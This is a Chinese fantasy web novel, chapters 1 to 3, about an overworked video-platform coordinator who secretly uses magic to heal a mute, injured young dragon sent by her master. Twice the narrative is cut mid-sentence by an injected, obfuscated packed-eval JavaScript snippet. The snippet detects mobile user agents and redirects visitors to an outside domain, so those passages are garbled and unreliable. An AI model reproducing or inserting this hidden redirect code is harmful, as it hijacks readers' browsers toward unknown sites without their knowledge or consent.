《龙和姐姐》 1. 第1章 雨下得好大,像有谁哭了一样. 丁依今天很忙,待办多到爆炸。 她在一家视频网站工作,她所在的小组负责的新综艺即将开播,今天一整天她都没怎么吃东西,玩命一样赶工作进度。 开完会,她抱着电脑回到办公室。 还没落座,隔壁工位的实习生小赵突然靠过来:“丁丁姐,你有没有听到什么声音?” “我也听到了。”对面工位探出来一个头,是同事陈妮。 组长张铭也跑出来:“什么声音?有人在敲门吗?”看到门开着,他大叫道:“哇!鬼敲门。”他的大惊小怪引发了一阵笑声。 丁依没有笑。 事出反常必有妖,她有一种不祥的预感。 她摘掉了耳朵里的降噪耳机,空调声、雨声、走廊外别组同事的脚步声……这些被降噪耳机隔绝的低频“噪音”重新流回了她的耳朵里。其中,有一道沉闷的敲击声,就像直接敲在她大脑皮层一样清晰—— 咚咚、咚咚、咚咚。 丁依面无表情地把头向右转去—— 在她右手边的落地窗外,一只巨大的马头,正和她面面相觑。 这只马妖的名字叫小马。 看到丁依终于发现了自己,它收回了正准备再一次敲击玻璃的马蹄,把马头贴近玻璃,掀起厚厚的嘴唇,对丁依露出一个热情的笑容。 事出反常必有妖,高层办公楼的外立面,偶尔也会飞来一匹马妖。 其他人的注意力已经转移,只有实习生小赵注意到丁依的视线。她顺着往窗外看,除了被雨水模糊的高楼大厦和霓虹夜景,其它什么也没有看到。 面对马妖憨厚的笑容,丁依深吸了一口气——偏偏撞上她最忙的时候。 低头,点开电脑上挂着的聊天软件对话框。 果然,有未读消息。 实习生小赵靠过来偷看。屏幕上,是丁依和一个备注为【叶瑾瑜】的人的聊天记录。 叶瑾瑜:「请小马送了一条新的小朋友过来。」 叶瑾瑜:「(老年人爱用的送花表情)」 叶瑾瑜:「对了,它是……」 没等小赵看完,丁依啪地一下合上了笔记本电脑。 丁依一把抱起电脑塞进包里,夹起包就往外走。迎面看到组长张铭想要开口,她先发制人:“方案我晚上发给您,家里有人生病,我先走了。” 张铭一下子没反应过来:“哦哦好,你家人又生病了?” 丁依的人已经走得没影,只甩下一句:“对,还是我爸,病危。” 雨还在下着。 工作日的夜晚,路上的人都行色匆匆,没人注意暴雨的墨色夜幕里,一匹棕色的骏马正跃过天际。 它的背后拖着一个陈旧的巨大木箱,在风雨雷电中飘摇。 一道惊雷炸开,闪电瞬间照亮雨夜,也照亮了木箱上贴着的密密麻麻的符咒。 丁依骑在马背上,用袖子抹了一把脸上的雨水。 她的衣服都湿了。出来得太匆忙,直到雨拍到她脸上,她才想起掐了一个避水诀。 “丁小姐,前面到光明公寓了,还是从您家的窗口进去?” “嗯,不然呢?” 听出丁依语气不善,小马耳朵动了动,加快了蹄下的速度。 光明公寓位于新兴科技开发区,夹在互联网公司们的高层办公楼之中,租客中年轻人居多,也租住着不少大厂社畜。 “开门见山!” 5楼的公寓外墙,马妖载着人悬停在窗边。丁依手里掐着法诀,低声喊出咒语。 只见外墙上的一扇玻璃窗仿佛被一双隐形的手推开。丁依伏在小马背上,从这扇打开的窗户钻了进去。 用法诀烘干身上湿淋淋的雨水,掐着移星换斗诀,丁依和小马合力把那个大木箱挪进客厅。来到干燥的室内,木箱里一股刺鼻的气味弥漫开来,隐隐的血腥气隐藏其中。 箱子上密密麻麻地贴满了符纸。稳如泰山咒、别有洞天符、春风化雨阵、锁灵符、还有一些她不认识的符咒……谁睡在这箱子里,都会像睡在妈妈子宫里一样安稳。 该说不说,叶瑾瑜“打包”妖怪做得倒是越来越熟练。 一众黄色符纸中,一张蓝色的符纸尤其醒目,丁依要找的就是它。她手在虚空中一抹,符纸上就出现了她银光闪闪的签名,一颗小小的星芒在符纸上空炸开,符纸转瞬消失不见。 “你来之前,我师父有说什么吗?” “没有,叶婆婆说就和像往常一样。”小马呼哧打了个响鼻,甩了甩它的鬃毛,水甩了一地,和木箱上流下的污水混合在一起。丁依看到这一幕,眼皮抽搐了一下。 她又看了眼客厅的钟,收回视线,没再犹豫,掐了个悬浮咒,浮到了半空中。她手指一捻,木箱轰然打开。 她看向木箱底部、那条像死掉的泥鳅精一样的东西—— 一条龙。 一条小龙。 它一动不动,浑身糊着烂泥,像一团痛苦的盘肠。 一股刺鼻的臭味像要把丁依的天灵盖掀翻——味道也许来自这条龙身上腐烂的伤口,混杂的血污,还有泥浆的水腥气。 她想凑近点看,结果被气味熏得一阵干呕。 小马也跟着漂浮到了空中,趴在箱口探看 “这位莫非是……”小马眨了眨眼,“一位龙神?” “嗯,应该吧。”丁依整张脸都皱巴巴的,她捏着鼻子心想:难道不该是一“条”龙神吗? 她飞到远处,努力集中注意力,想捏出个小结界。 如果不是叶瑾瑜说了一声,丁依也认不出这样一条灰头土脸的东西是龙,它和她见过的龙不一样。 这样一条龙,居然也能被叶瑾瑜在镜花溪捡到?她总能捡到一些破破烂烂的小妖怪。 被随身结界保护着,腥臊欲呕的怪味被隔绝。捏诀控制着自己的身体,丁依钻进了木箱。 她近距离打量这条龙。 除去脏污和伤口,以及相对瘦小的体型,它和丁依的印象里的“龙”大致一致,除了龙脊上有一块巨大的凸起。 这个凸起也许类似鱼的鳍,或者蜥蜴背部的脊冠。哪怕是同族的妖怪,外形也各有不同,这是正常现象。 她的指尖虚拂过龙的身体,冰蓝的光芒从指尖逸出,凝结成巨大的龙形—— 一条冰蓝色的龙的虚影,沉着地悬浮在丁依家的客厅里。它修长的身体优雅地盘着,就像从雕梁画柱中走出地一般。 丁依看了一眼龙影。虽然原身看起来很惨,但这条龙应该暂时还死不了。 小马也跟着松了一口气。但稍一转念,它又隐隐觉得哪里怪怪的。 任务完成,小马礼貌地向丁依告辞。 走之前,它又看了一眼那木箱,才从窗台一跃而起,化形为马,踏雨而去。 马蹄声被城市的雨夜吞没时,客厅的钟指向10点。 掐着移星换斗,丁依让龙悬浮起来。 她走到浴室边,打开了灯走了进去,漂浮的龙紧随其后。 步入原本狭小拥挤的公寓浴室,视野豁然开朗。 这个“浴室”里,没有冷冰冰的磁砖和惨白的白炽。代替它们的是草地、小树林和一小片水塘;不知道从哪儿照射下来的阳光让这里气温适宜,树林间甚至有微风飘拂,青青的绿草地里长满了淡紫色的野花,虽然还只是花苞。 如果光明公寓的开发商此刻看到丁依家的浴室,也会怀疑眼前的风景疑似自己晚餐吃了菌子的幻觉。 丁依把龙放进了“小桃源”的水潭,挽起了袖子。她今晚还有好多工作,这条龙的事,她要速战速决。 她从袖里乾坤掏出一块全新百洁布——那种黄绿相间的洗碗海绵,又戴上了一双洗碗手套,一手把龙按进水里,一手攥着海绵,往淤泥最厚的龙后颈用力擦去。 嘶—— 海绵蹭到了什么,这条龙猛地抽搐了一下,龙尾在潭水中疯狂甩动,水流溅了丁依一身,她没有管兜头罩来的潭水,反而立刻警觉地捏了个防身法诀—— 龙醒了。 它被淤泥覆盖的脸上,睁开了一双圆溜溜的眼睛,散发着冰蓝色的柔光。 丁依不动声色地观察着它的状态,悄悄打开了灵识。 受伤的妖怪应激时难免会灵力暴动,曾经有一条人鱼引发了整座公寓的水流倒灌,让丁依被公寓物业“追杀”了一个星期。 还好,开了灵识的视野里,龙的周身一片清明。 这条龙现在很平静。 她松开左手交叠的拇指和食指,抬高双手,眼神移向它头部侧后方——有的妖怪会把直视眼睛当成一种冒犯——同时尽量让自己显得镇定可靠,然后缓缓道: “你好,我叫丁依。我的师父叶瑾瑜把你送到我这儿养伤,她救了你。我现在要清洗一下你的伤口,然后上药。” 空气很安静,只有风静静吹拂。 而龙不语,只是一昧地拿两只眼睛看着她。 它不想开口说话? 还是,不会? 丁依思索着,下意识歪了歪头。龙也跟着她动了动脑袋,但还是没出声。 人和龙之间的沉默持续了好一会儿。 “小桃源”的微风把树叶吹拂得簌簌作响,丁依还记过着自己今晚要交的方案,不想再继续僵持下去。 她轻轻举起自己沾着污泥的双手,问道:“那么,我可以继续吗?” 龙看着她,突然挣扎着想动。 丁依瞬间掐好防身法诀。虽然她严阵以待,但龙却只是拍了拍两只爪子。 她反应过来——这条龙是不是,在模仿她的动作? 如果是这样的话…… 丁依闭上眼,然后缓缓趴下,伏在了草地上,然后悄悄抬起一侧眼睛偷看。 龙看着她,脑袋动了动,身体却没有动作。 她猜错了? 丁依正准备起身,却看到那条龙轻轻地合上了眼,缓缓地伏进水里,只把龙脊、龙角和一双尖耳露在水面上。 它好像真的是在模仿她的动作? 不论如何,这条小祖宗的第一关算是过了。 洗碗海绵被丢在一旁。为了更精细的清洁,丁依还是决定使用法术。 她盘起腿,双手掐指念诀,想象面前的潭水是自己身体的一部分。丝丝缕缕的意念逐渐在她脑海里清晰,尔后汇聚。,慢慢地,四周某种看不见的能量从花草风水中源源不断地注入自己的身体,逐渐凝结成一股力量。 随着这力量的汇聚,水潭里的水旋转起来,像有了意识的“摇篮”,绕着龙身温和地打着转儿。 感受到水的流动,龙的耳朵竖了起来,不过,它身上的淤泥毫无脱落的迹象。 力道还是轻了。 丁依闭上眼睛,更专心地凝聚心神。 她的眉头越皱越深,潭水的旋转逐渐加急变快,水流们不再只是温柔的波纹,而是汇聚拧结成一股股的“绳索”,缠绕住龙的身体。“绳索”流经之处,慢慢开始有泥浆脱落。龙的耳朵扇动着,身体不禁轻而缓地扭动起来。 丁依睁开眼睛,看了一眼水中情况,呼了口气。这下差不多了。 随着干涸的血迹和灰黑的泥浆脱落,龙身上触目惊心的伤口更加清晰地袒露在丁依眼前。 成块脱落的鳞片遍布龙的全身,有些伤口里还残留着鳞片的碎屑,和底下渗着血丝的皮肤糊成一团; 吻部有一道深邃的割伤,从嘴角往后延伸; 四只爪子都被拔去了利甲,污泥鲜血板结在爪尖; 以及,龙背上…… “哇塞!那条龙的背上有鳍?” 一个头发卷卷、戴着圆圆的眼镜框的年轻男人惊呼。因为震惊,他的眼睛瞪得更圆了。 “是的,那位龙神大人的背上,有一块凸出来的地方,丁小姐说可能类似鱼鳍。”小马恭敬地回答道。 “有鳍的龙,那可能是新种类。”年轻男人原本蹲在椅子上,正在往一本册 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502232|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子上录入信息,听到后站了起来,看向自己身旁的人:“师父,要加进《百妖经疏注》里吗?” 在他身旁,一位老太太正捧着一杯珍珠奶茶在喝。她披着克莱因蓝道袍、戴着蒂芙尼蓝贝雷帽,花白的头发被精心修剪成波波头,听到年轻男人的问话,她笑眯眯地回道: “我猜,龙背上那个,可能不是龙的鳍喔。” 那块凸起确实不是龙鳍,它甚至不是龙身体上的一部分,而是一把贯穿龙身的巨大金属残片。 龙脊上,那块凸起已经消失,取而代之的,是一道穿透龙身的巨大伤口。 残片此刻正躺在岸边,鲜血和它表面的锈迹混合。刚刚丁依把它拔出来时,龙的整条身体都在剧烈的挣扎。伤口流出来的龙血已经染红了大半个水潭,被龙甩得岸边的草河树上都是。 这样的重伤,寻常小妖怪受了,估计当场就肉身陨灭、魂飞魄散。 幸亏是龙,才能承受住这么重的伤。但会受到这么严重的伤,也许也正因为它是龙。 “小桃源”的岸边,丁依正在用“回春术”为龙治疗。她闭眼凝神,神色肃穆,嘴里念念有词,双手法诀翻飞。 龙全身的淤泥已经清洗干净,旋转的水流如“摇篮”般将它托举起来,一条柔和的白色光晕在它身上来回穿梭,几乎把龙包成一个蚕茧。 光晕所经之处,细小的伤口正在慢慢愈合,脱落的鳞片正无声生长。但背部的那一处贯穿伤,无论白光怎么努力,依然汩汩不停地继续流出鲜血。 水流声潺潺,整潭水已被龙血浸染得接近全红。 一缕白光独自从缠绕龙身的光晕中钻出。它灵巧地靠近龙背上的那处伤口,然后一个猛子钻了进去,在血肉模糊的伤口中探索、寻找着什么。 这里没有……这里也没有……那里,在那里…… 丁依紧紧闭着双眼,鼻尖渗出豆大的汗珠。血的腥味让她身体里一股浊气乱窜,她努力沉住呼吸,继续用意识操纵白光。 叮铃铃。 手机铃声突兀地响起,在“小桃源”里刺耳地回荡。 丁依没有理会。 那缕白光还在探索。它每动一下,丁依就感觉自己的大脑也像被丝线钻入,酸胀无比。 她的眉头鼻尖渗出了汗水,纤薄的脊背微微发颤。 噗呲。 伴随着肌肉被划开的黏滞摩擦声,什么东西被白光拉出了龙背上的伤口,龙身一阵剧烈的痉挛,伤口血液喷溅,白光们前仆后继地“堵住”那处伤口。 流血终于止住。 丁依睁开眼,长舒一口气。 她摸了摸脸颊,感受到轻微的刺痛,这是被那块伤口中弹出的“东西”割伤的。 那“东西”落在她身后不远处,她拿起它—— 一块卡进龙伤口深处的、如刀片般尖锐的金属碎块, 白光们已经自动开始进行下一步工作,它们像针和线一样在伤口中来回穿梭缝合。 丁依掐指把血红的潭水变回原本的清澈,又在衣服上蹭了蹭手,想从裤兜里掏出还在尖叫不已的手机。 刚掏出来,手一滑又掉到了地上。 她弯下腰,用还在颤抖的手腕捡起手机,按下接听键。 电话是组长张铭打来的。 “小丁呀,你爸爸还好吗?” 丁依用手揉着太阳穴。她的头实在太晕了。 “还好,没死成。报告我今晚会给您的。” 张铭干笑两声:“报告不急,你爸爸没事就好,对了,有个小任务要辛苦你。” 丁依没有马上搭腔,她工作快满三年,已经有了一些经验。但凡工作电话,只要前缀加上“对了”,一定是蓄谋已久。只要领导说是小任务,一定是个大麻烦。 张铭像没察觉她的沉默般自顾自继续:“就是,咱们那个新综艺,不是有个会员专供的幕后纪录片嘛?同步播出的那个。” 丁依还是没开口。 张铭有点沉不住气,他问道:“丁依,你在听吗?” “嗯,王玫管的那个。”丁依终于答话。 “对对对,王玫她病得有点重,刚刚打电话给我,说她可能要住院几天,后面的状况也不一定。所以我想问问你,这个纪录片你帮忙盯一下不?”张铭的声音听起来很温和,一副和丁依好好商量的架势。 王玫最近确实频繁跑医院。但这不是把王玫的活加给丁依的理由。丁依自己的工作量早就饱和到了极限。 “老板,我真的接不了。” 张铭:“知道你的任务已经很重了,但这个纪录片呢,是一个非常简单的小项目,你只要管管供应商,动动嘴皮子,KPI就到你手里了,几乎是吃现成的。”他循循善诱 “一定要我来吗?咱们组其他人呢?您问过了吗?” 张铭没直接回答她的问题,而是道:“小丁,你进入公司也三年了吧?你看,平时你请假我也随时答应,关键时刻,咬咬牙撑一撑呢?就算帮我这个忙。二十五岁是很年轻,但你还要为将来打算。” 丁依再次沉默了。 挂了电话,丁依在草丛中躺倒成一个“大”字,她觉得自己头晕得好像随时要呕吐。 看着头顶的“蓝天白云”,她心想:如果这些不是灵气符咒所化的阵法、而是真的蓝天白云该多好?她有多久没有躺在真正的草地上、真正的树林间、溪水河畔了? 不知躺了多久,头晕目眩的感觉才慢慢消散,她撑着胳膊坐起来,和一对圆圆的蓝眼睛撞了个正着。 哎? 丁依刚要开口,龙的耳朵快速地弹动了一下,又把头埋进水流的漩涡里。 白光们已经停下工作,化作了一只小狗形状,看到丁依望过来,它便冲丁依摇了摇尾巴。 丁依见了,轻轻招手,那白光小狗便从龙背上跳下,小跑到她身边磨蹭她。 一旁的水里,那双蓝眼睛又悄悄望过来。 丁依也冲它招招手。 “过来,还要给你上药。” 2. 第2章 龙睁着圆圆的蓝眼睛看着她,像两颗淡蓝色的小灯泡。 “能动吗?能动的话试试看自己过来。” 丁依又招了招手。见龙迟迟没有动静,她掐指捏诀,想把它托过来。 白光小狗突然汪汪叫了两声,然后冲回龙身边,再跑到丁依这里来。见龙还是没反应,它又折返了两次 “怎么你也来添乱。”丁依刚想把白光小狗收回身体,又停住手。 她看到龙正缓慢地起身。 它试图用龙爪支撑起自己的身体,结果“啪嗒”摔回了水里。但它没有放弃,又第二次尝试,勉强驯服了自己的四肢,拧着身子踏着水挪过来,停在了白光小狗的身边。 白光小狗见龙终于爬过来,伏下前肢,高兴得甩动起尾巴。 龙也模仿着趴了下来,跟着一起甩尾巴。这条龙的身体显然有些僵硬,但不影响它使用尾巴。它的尾巴末端还沉在水里,把潭水打得啪啪作响、水花四溅。 丁依看着它俩玩了好一会,才道:“行了,刚治好的伤又要裂了” 听到丁依的话,白光小狗马上停住不动。见它停了,龙也停下尾巴,看向丁依。 丁依发现,现在的龙显得大多了,也可能是有了对比,白光小狗站在龙的脚边,只有龙的一只龙爪那么大。 “过来。”丁依看着龙,拍了拍自己身前的草地。 这次,白光小狗没有动。龙好像明白了。哒,哒,哒,一步一步爬到了丁依的身前。 丁依检查了龙的治疗情况。粗看一圈,它身上大大小小的伤口已全部愈合,鳞片重新长出,爪子上的指甲重新生长了出来,就连背上的那处贯穿伤也覆盖上了淡粉色的新生皮肤。 “所有的伤都治好了吗?”丁依问道。 白光小狗点了点头。 丁依又问:“背上那处大伤,里面是什么情况?” 白光小狗歪了歪脑袋。 这是回答不出来的意思。看来伤口情况复杂,丁依准备再观察几天。 “这里怎么回事?”发现一处遗漏的小伤,丁依看向白光小狗,皱起眉头,目露责备。 白光小狗的耳朵往后压,尾巴也夹紧了。 “不怪你,它这伤也太多了。”丁依叹了口气。 白光小狗的耳朵又立起来。 丁依指了指那处遗漏的伤口,它化为一道白光缠绕到伤口上。片刻过后,这白光重新落地化形为狗,那处遗漏的伤口已然愈合如初。 丁依又检查了下,对白光小狗道:“忙了这半天,辛苦你了。” 听到“辛苦你了”,白光小狗摇了摇尾巴。 龙趴在丁依身前,好奇地观察白光小狗的动作。见到白光小狗摇了摇尾巴,它也试着晃了晃自己巨大的尾巴,结果扫起了一阵尘土。 “别乱动,要涂药了。”丁依皱起眉头,轻轻拍了拍它,然后诧异地看见它的耳朵立刻压到了后脑勺。 这条龙这么胆小的吗? 法术太耗费心神,给龙涂药,丁依是直接用的手。她从袖里乾坤中取出药罐,拧开盖子,一股清凉的草药香气弥漫开来,龙的鼻子耸了耸,翕动地嗅闻起来。 龙鳞脱落过的皮肤显然非常敏感,每当碰到那些鸡蛋膜般脆弱的新肉,龙都忍不住想要躲开。这种时候,丁依只好暂时停下,一只手轻轻扶着龙的后颈,不断揉动着它后颈的鬃毛安抚,直到感觉到它的身体放松下来,才继续把药膏抹上去。 最终,这条龙的全身几乎都被丁依抹了一层药膏,浑身散发着提神醒脑的草药清香。 白光小狗偷偷跟在一旁,偷偷舔龙爪上的药膏。龙看到了,也弯着腰努力舔了几口自己身上的药膏。 丁依看到,又皱起眉:“不准舔,还想不想伤好了?” 听到她的话,一龙一狗都压下耳朵,夹紧了尾巴。 丁依到水潭边洗了洗沾满药膏的手,和龙说道:“药已经上完了,今晚你先习惯一下,有事可以找我,我在外面。”她指了指身后那道门。 那双圆圆的眼睛依旧一动不动地看着她。 丁依只好自己接着道:“如果听懂了,你就这样点头,”丁依示范了一下点头的动作,“没听懂,你就歪一下头。”她再次示范。 “好,现在告诉我,你听懂了吗?” 龙朝着丁依身后瞟了两眼,又低头看了看身下的水潭。 最终,它犹犹豫豫地动了一下头。 嗯……看不出点头还是歪头,丁依就当它听懂了。 还留在客厅的木箱已经被丁依处理,木箱里原本贴着的符咒,被丁依移到了浴室门口的墙上。 剩下一张锁灵符,丁依掐在手里,略一犹豫,还是收进了袖里乾坤。 这条龙这么胆小,受过这么重的伤,身体还没有恢复,放它自己呆着应该不会有什么问题,丁依不想把它锁着。 白光小狗跳到丁依的身上,准备被她收回去。丁依轻轻地把它放到龙的身边,叮嘱道:“你在这里陪一陪它,有什么情况叫我。”听到她的话,白光小狗点了点头。 丁依走出“小桃源”的瞬间,里面的“天空”暗了下来,由白天变为黑夜。 她来到客厅,把笔记本电脑拍到餐桌上,继续没做完的工作。 当她把方案发送给张铭,钟的指针已经指向凌晨两点。 脑袋发胀到要爆炸,她长吁一口气。 她给叶瑾瑜留了条言,告诉她龙已经施过了治疗术,但是自己太忙,也许没办法等到它完全康复,需要她一起想想办法。 接着她去厨房,在冰箱里翻出一块巧克力蛋糕并塞进肚子后,简单冲了一下,终于准备上床睡觉,结束这漫长的一天。 上眼皮粘到了下眼皮上,迷迷糊糊中,她突然想起—— 这条龙好像不会说话? 那它修炼到哪一境了呢? 外面的雨越下越小,直到停止。。 “小桃源”里,像是感应到什么,一双蓝盈盈的眼睛悄悄地睁开。 这一夜,丁依睡得不太好。 咚咚、咚咚、咚咚。 梦里,敲门声从四面八方传来。 她把门打开,发现物业挤在门口,正冲她大叫。 旁边的窗户也传来敲击声,她一转头,马妖正用马蹄跺个不停。 同一时刻,裤兜里的手机像疯了一样响个不停,大喊着“有工作!有工作!快接电话!快接电话!” 突然,她身后传来尖锐的长啸。回头一看,一条人鱼正在地板上挣扎,海藻般的长发蔓延到天花板,滑溜溜的鱼尾扫得整个地板都是水。 看到丁依转头,人鱼的金色瞳孔像被点亮,他的啸叫声更加响亮。 令人窒息的嘈杂中,又一个声音冒出来,冷淡而又阴阳怪气地道:“早跟你说了,救这些山精野怪一点用没有——” 下一秒,丁依醒了。 没有人鱼,没有物业,没有敲门声,没有人说话。 手机铃倒是响个不停,屏幕显示现在是早上六点十五,来电人是陌生号码。 电话接通,一个中年男子的声音从听筒里传来,听起来很着急。 “哎哟,你是小丁吧?我是《华服之下》的导演老杨。” 丁依还沉浸在噩梦的余韵里,她先“嗯”了一声,才想起《华服之下》就是那档衍生纪录片的名字。她和他打招呼:“杨老师好。” “你好你好,我起来就看到消息,怎么回事?王玫不做啦?” “她暂时生病,我代替她几天。” “哎哟,那好。那录像需求,我现在跟你对?之前发给王玫,她一直没给反馈,急死我了。” 听到这里,丁依一下子清醒了。 录像需求?张铭没提这个。 “喂?丁小姐,你还在吗?” 丁依从床上坐起身,道:“抱歉杨老师,现在不太方便,能等我到公司了再联系您吗?” “哎哟,好呀,你刚醒是吧?” “不是刚醒的问题……总之我到了公司联系您。” 挂了电话,虽然时间还早,但丁依无心再睡,直接起床了。 洗漱穿戴好,她走进了“小桃源”。 “小桃源”里天光骤亮,一阵兴奋地犬吠声从树林里传来,紧接着白光小狗跑出树林,兴奋地扑向丁依。 “它呢?”丁依扫了一圈,询问道。 白光小狗叫了两声,把丁依领到了潭水边。 水湾里,一对小小的龙角露出水面。 “我走了哦,要晚上才回来。如果有事找我,就找它。”她对着龙角说道,然后蹲下摸了摸白光小狗的头,小狗汪汪叫了两声。 那双小小的龙角没动,只有一小串气泡从水底冒出来。 七点半,丁依出门了。 冬天,早起,上班。 这几个关键词中,随便哪一个都能压倒一个疲惫的打工人,丁依庆幸至少今天没有下雨,甚至还有不错的阳光。她抬起头看向天空,天空很蓝。 丁依的公司离她的出租屋很近,她在一家视频网站工作。 到了公司,丁依找到张铭,和老杨拉了电话会议,了解了那档会员专供纪录片的情况 说是“纪录片”,其实是她们小组即将开始录制的新项目,一档“回锅肉”男明星舞台竞技节目——《重启顶流时代》——的幕后衍生节目,老杨给它起了个名,叫《华服之下》。 “所以说,这档会员专供纪录片,就是《华服之下》,每期要拍一个参加节目的男明星的幕后生活,从中展现他参加节目期间的心路历程?”丁依问。 老杨道:“是的” “这个拍摄幕后生活,意思是不止是在节目后台?还要跟拍他们的私下生活?”丁依翻着需求文档问。 “对,没错!”老杨兴奋地和她俩介绍:“这档节目的男明星,虽然现在都不红了,可从前可都是红透半边天,相信当年他们最红的时候的粉丝,一定有不少会关注这个节目——” 好啰嗦,这不是谁都知道的吗? 没等老杨说完,丁依就开口:“杨老师,创意层面当然很好,执行层面的话……你知道这个艺人需求,写进艺人合同里了吗?” 老杨愣神:“艺人需求?合同?那是什么。” 张铭用笔敲了敲桌子,同时回答了两人的问题:“艺人合同里肯定是没有,到时候小丁正常把需求递给艺统,等艺统和艺人谈判的反馈吧。反正拍得到最好,拍不到拉倒,拍不到呢,就用节目后台的练习素材。” 丁依嘴上答应,心里却想:这种没写进合同且非常麻烦的配合,艺人十有八九会拒绝。 听到张铭这句,老杨也开口:“这个明星私下生活一定要拍的。我打听过了,录制后台的镜头正片里都要用的,咱们这个‘纪录片’说起来是会员才能看的,要是再不多点干货,不成凑数的了吗?” 办公室里,张铭和丁依互看了一眼。 收回视线,张铭身体前倾,对着手机听筒道:“杨老师,不好意思,我们三个可能要对齐一下对这个项目的预期。” 老杨摸不着头脑:“‘对齐’什么意思?你说‘预期’ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15502233|170400||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是……” 张铭道:“杨老师,我就直说了,这档‘纪录片’呢,在我们内部就是个‘顺手买一件’,我们这边对您的要求,就是‘东西播出去能是那么个东西’就行,不要有投诉,也不要搞得自己太大压力。” “哎?我怎么还没听懂,当初我竞标的时候不是说‘会员特供节目’的嘛?” 老杨还想再问,张铭有些不耐烦,打断了他的话:“既然情况大致都了解了,后续您再和小丁慢慢对。” 结束电话会议,张铭看了眼丁依的表情,和她解释:“这个老杨,原本是做人文纪录片的,拿过不少业内大奖,会接这个活儿,纯粹是没钱养团队了,所以稍微有点听不懂我们的黑化。怎么样?我说这个纪录片很简单吧。”他笑着道。 丁依不置可否。相比她自己,丁依觉得这个老杨可能会经历更多磨难,像他这种人,进入到这个流水线里,注定要经历一段痛苦的磨合期。 虽然同样从事创意行业,但丁依的工作内容和创意没有一点关系. 「统筹」这个岗位,说起来高大上,在她眼里,不过是这个创造力工厂里,最死气沉沉的一颗螺丝钉。 今天也是“螺丝钉”忙碌运转的一天。 一直到晚上八点,丁依还在公司。 笔记本电脑打开放在桌上,她正等着下一场会议。 关掉和叶瑾瑜的聊天对话框,面对着屏幕上标题为“纪录片录像需求”的文档,丁依皱着眉思考,手上无意识撕着指甲边缘的倒刺。 一个意外来电响起。 电话是光明公寓的物业负责人打来的。 “丁小姐,你家502室又发大水了!渗水渗到楼下,楼下住户又投诉了!” 她家又发大水?丁依立马想起家里的那条龙。 锁灵符应该要贴上的,上次人鱼已经淹过公寓,她不该掉以轻心。 “抱歉,我还在加班——” “我也在加班呀!丁小姐!我都到家了还被叫回来加班,我比你还惨!楼下的住户的电话是一个接一个,妈呀那真是——” 虽然是自己理亏,但听他絮叨也不能解决问题。丁依提高了音量打断了他:“——抱歉,虽然我还在加班,但我会找朋友去解决的,麻烦您在门口等一下。” 说完,她挂了电话。 组长张铭一脸关心:“怎么了,小丁,家里又有事啊?要不你提前回去,这个会别开了。” 丁依:“那我负责汇报的部分?” 张铭看向同组的陈妮:“陈妮,要不你帮丁依汇报一下?” 陈妮满脸为难:“我也想汇报,但那一块一直是小丁负责的,我不太了解。”她提议,“要不,丁依回家路上,电话远程入会呢?” 张铭点点头,又看向丁依:“那小丁,你就先回家,电话远程入会?” 丁依低头和谁发着信息,信息发送出去后,她才抬起头,对张铭和陈妮笑了一下:“没事,我找了朋友帮忙,那边可能有点棘手,我开着电话会,就算回去了也没法处理。”看到别组的同事陆续走进会议室,她扬起下巴示意了一下,“会议快开始了,咱们准备一下吧,。” 这场会倒是没开多久。 丁依回到自家门口,发现空无一人。 这是处理完了? 丁依看了看时间。晚上九点半。 咔嚓。 她把指纹按在门锁上,门锁打开。 关上门,她扫视着原本空荡而平静的出租屋。 原本放在茶几上的毛绒玩偶掉落在了地上。餐桌上的抽纸盒旁,多了一张抽出来的餐巾纸。旁边放的那盆多肉,小狗花盆原本是狗头朝外,现在变成屁股朝外。 除此之外,最明显的变化,莫过于满地层叠的粘稠泥浆,还有上面残留着龙的爪印和拖曳的水痕。 这还是她家吗?这几乎是一个沼泽。 丁依不知道她的“朋友”有没有带物业进门,如果有,又是怎么和物业解释的。她只希望渗到楼下的泥水没有弄脏别人家什么名贵的东西。 她可赔不起。 地上已经不能走了,掐着悬浮咒,她晃晃悠悠地往屋里漂去。 被丁依抓到时,罪魁祸首正像一条塞进罐头的带鱼,艰难地挤在厨房的地上。厨房门外,还残留着一大截龙尾。 它似乎毫无概念,一条龙的身体——即使是一条小龙——对于一个狭小的公寓厨房来说,有多巨大。 这具丁依好不容易洗干净的身体,此刻又裹满了泥浆。不过看它折腾的动静,精神头是恢复了不少。听着它的身体在橱柜和墙壁上撞出的砰砰巨响,丁依觉得她应该给整个家都贴上别有洞天符。 白光小狗踩在橱柜上。它原本正在锅碗瓢盆中乱跑撒欢,发现丁依后,它立刻垂下尾巴缩在一旁不动。 和它不同,龙还没有发现丁依的到来。 此刻,它的龙头正小心翼翼地伸向灶台旁的调料盒们,试图用鼻子嗅闻它们的味道。它身上干涸的泥浆碎屑掉落在橱柜的台面上,龙角则勾住了一桶放在柜子上的燕麦片桶盖子上立起的铝制拉环。 丁依刻意地清了清喉咙,开口道: “你好啊。” 龙瞬间僵硬在原地,像被谁下了定身咒一样。 “你感觉怎么样,好一点了吗?”丁依问 沉默,龙仍然僵硬着没有动作。 它的耳朵夹在脑后,努力把尾巴往里收了收。 丁依自己接话:“如果感觉好的话,你就……” 她顿住,因为看到龙点了一个头。 3. 第3章 随着龙的点头,那罐燕麦被龙角带倒,铝制桶掉在地上,发出“咚”的一声。 